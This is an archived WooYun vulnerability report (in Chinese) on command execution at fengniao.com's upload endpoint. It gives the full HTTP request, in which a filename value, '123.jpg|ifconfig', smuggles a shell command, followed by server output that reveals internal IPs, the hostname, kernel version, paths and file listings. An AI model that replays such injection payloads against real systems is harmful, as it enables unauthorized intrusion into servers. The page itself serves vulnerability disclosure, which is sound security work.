当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150654

漏洞标题:蜂鸟网主站操作系统任意命令执行漏洞(奇葩漏洞)

相关厂商:fengniao.com

漏洞作者: missy

提交时间:2015-11-11 14:02

修复时间:2015-12-26 14:32

公开时间:2015-12-26 14:32

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-11: 细节已通知厂商并且等待厂商处理中
2015-11-11: 厂商已经确认,细节仅向厂商公开
2015-11-21: 细节向核心白帽子及相关领域专家公开
2015-12-01: 细节向普通白帽子公开
2015-12-11: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

详细说明:

POST /topic/seagate/upload.php HTTP/1.1
Host: www.fengniao.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.fengniao.com/topic/seagate/upload.php
Cookie: __utma=1727398.213344896.1446190154.1446190154.1446190154.1; __utmb=1727398.5.10.1446190154; __utmc=1727398; __utmz=1727398.1446190154.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@4~6171412388184999580>1>1446190123461>1>1446190123461>6171412388184999579>1446190123461@; mlti=@4~144619015498015232@; mlts=@4~5@; ip_ck=5cWA5fj2j7QuMjIxMjIxLjE0NDYxOTAxMjQ%3D; lv=1446190160; vn=1; z_pro_city=s_provice%3Dbeijingshi%26s_city%3D; Hm_lvt_916ddc034db3aa7261c5d56a3001e7c5=1446190399; Hm_lpvt_916ddc034db3aa7261c5d56a3001e7c5=1446190406; bdshare_firstime=1446190400217
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------157521457315459
Content-Length: 4699
-----------------------------157521457315459
Content-Disposition: form-data; name="tijiao"
1
-----------------------------157521457315459
Content-Disposition: form-data; name="username"
11111
-----------------------------157521457315459
Content-Disposition: form-data; name="realname"
111
-----------------------------157521457315459
Content-Disposition: form-data; name="age"
11
-----------------------------157521457315459
Content-Disposition: form-data; name="city"
1111111
-----------------------------157521457315459
Content-Disposition: form-data; name="mobile"
1111111
-----------------------------157521457315459
Content-Disposition: form-data; name="email"
11111111@qq.com
-----------------------------157521457315459
Content-Disposition: form-data; name="title"
1111111
-----------------------------157521457315459
Content-Disposition: form-data; name="filename"; filename="123.jpg|ifconfig"
Content-Type: image/jpeg
ÿØÿà


问题出题上传文件名处filename  ;Content-Disposition: form-data; name="filename"; filename="123.jpg|ifconfig" 利用隧道通配符可执行系统任意命令


1.jpg


eth0      Link encap:Ethernet  HWaddr 00:50:56:B4:AD:E2  
inet addr:10.15.184.191 Bcast:10.15.191.255 Mask:255.255.248.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3346812881 errors:0 dropped:0 overruns:0 frame:0
TX packets:2278368580 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1366729260678 (1.2 TiB) TX bytes:607313144058 (565.6 GiB)
eth1 Link encap:Ethernet HWaddr 00:50:56:B4:E5:D9
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:103585252 errors:0 dropped:0 overruns:0 frame:0
TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6274065644 (5.8 GiB) TX bytes:4104 (4.0 KiB)
eth2 Link encap:Ethernet HWaddr 00:50:56:B4:04:DB
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:103570105 errors:0 dropped:0 overruns:0 frame:0
TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6273140102 (5.8 GiB) TX bytes:3762 (3.6 KiB)
eth3 Link encap:Ethernet HWaddr 00:50:56:B4:33:48
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:103553778 errors:0 dropped:0 overruns:0 frame:0
TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6272150125 (5.8 GiB) TX bytes:3762 (3.6 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:141456524 errors:0 dropped:0 overruns:0 frame:0
TX packets:141456524 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:34148334880 (31.8 GiB) TX bytes:34148334880 (31.8 GiB)
lo:0 Link encap:Local Loopback
inet addr:10.15.187.253 Mask:255.255.255.255
UP LOOPBACK RUNNING MTU:16436 Metric:1


2.jpg


Linux c25-fn-bbs-web3.cnet.com.cn 2.6.18-308.4.1.el5.centos.plus #1 SMP Tue Apr 17 21:00:16 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux


3.jpg


当前目录:/export/home/cms/www.fengniao.com/www/topic/seagate


4.jpg


apache


5.jpg


1.html
1.php
22.php
admin_ranks.php
admin_ranks1.php
c_data.php
comment.php
counts.php
css
delete.php
doc
dongtai.php
entries.php
error.php
function1.php
huojiang.php
iframe.php
iframe1.php
images
include
index.php
index1.php
index_1.php
index_2.php
index_old.php
js
list.php
next.php
photo_list.php
pic.php
post.php
product
t.html
test.html
upload.php
upload_c.php
user_pic.php
user_pic1.php
user_pic2.php
vote.php
xin.jpg
zhiye.php

漏洞证明:

修复方案:

版权声明:转载请注明来源 missy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-11 14:31

厂商回复:

非常感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-11-01 18:19 | 草榴社区 ( 普通白帽子 | Rank:109 漏洞数:26 | 未满18周岁,不准进入.)

    666

  2. 2015-12-01 14:40 | 玉林嘎 认证白帽子 ( 核心白帽子 | Rank:888 漏洞数:103 )

    奇葩

  3. 2015-12-01 14:47 | 我的邻居王婆婆 ( 普通白帽子 | Rank:1948 漏洞数:347 | 对漏洞数超过自己的人要报以敬畏之心)

    这都可以

  4. 2015-12-26 14:39 | whynot ( 普通白帽子 | Rank:448 漏洞数:89 | 为你解冻冰河 为你放弃世界有何不可)

    ......